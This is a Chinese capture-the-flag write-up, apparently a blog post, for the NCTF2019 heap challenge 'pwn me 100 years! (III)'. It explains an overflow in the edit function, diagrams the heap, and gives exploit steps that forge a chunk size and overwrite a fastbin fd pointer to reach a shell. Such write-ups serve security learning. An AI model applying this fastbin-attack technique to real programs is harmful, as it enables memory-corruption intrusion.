【Pwn】NCTF2019 pwn me 100 years! (Ⅲ)

main函数
在这里插入图片描述首先创建了一个0x10大小的堆块,最后如果这个堆块的值为0x66666666那么执行/bin/sh。那么想办法分配到这块内存空间即可。

看看中间的菜单,找到漏洞在edit函数中,read为固定的0x20个字节,由于最小堆块的大小是0x10,共享pre_size的8个字节,0x10和0x18分配的大小都是0x10字节,所以存在0x10个字节的溢出,但是0x10大小的字节只能覆盖到下一个chunk的size部分,不能直接修改掉fd部分,所以通过修改size进行下一步溢出。

首先分配4个chunk
add(16,‘aaaa’)#0
add(16,‘bbbb’)#1
add(16,‘cccc’)#2
add(16,‘dddd’)#3
内存变为
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----系统最开始分配的chunk
xxxxxxxxdeadbeef xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk0
xxxxxxxxxxxxaaaa xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk1
xxxxxxxxxxxxbbbb xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk2
xxxxxxxxxxxxcccc xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk3
xxxxxxxxxxxxdddd xxxxxxxxxxxxxxxx
接着将chunk3,chunk2 free掉
delete(3)
delete(2)
内存变为
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----系统最开始分配的chunk
xxxxxxxxdeadfeef xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk0
xxxxxxxxxxxxaaaa xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk1
xxxxxxxxxxxxbbbb xxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk2
xxxxxxxxkkkkkkkk xxxxxxxxxxxxxxxx (这里chunk2在fastbin 链栈上了 fd指向chunk3,k表示chunk3地址)
xxxxxxxxxxxxxxxx xxxxxxxxxxxxxx21 <----chunk3
xxxxxxxxxxxx0000 xxxxxxxxxxxxxxxx
接着修改chunk0,覆盖chunk1的size。
edit(0,‘a’*0x18+p64(0x41)),chunk1大小变为0x41
free chunk1,那么chunk1就会被链到大小为0x30(去除头部0x10)的fastbin中去,那么接下来再malloc(0x30)就会将chunk1分配回来,且可以输入0x30大小的字符串于是就可以去覆盖chunk2的fd部分做fastbinattack了,动态调试发现堆地址最低字节是00,于是只要将chunk2的fd最低字节改为00即可。


                
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值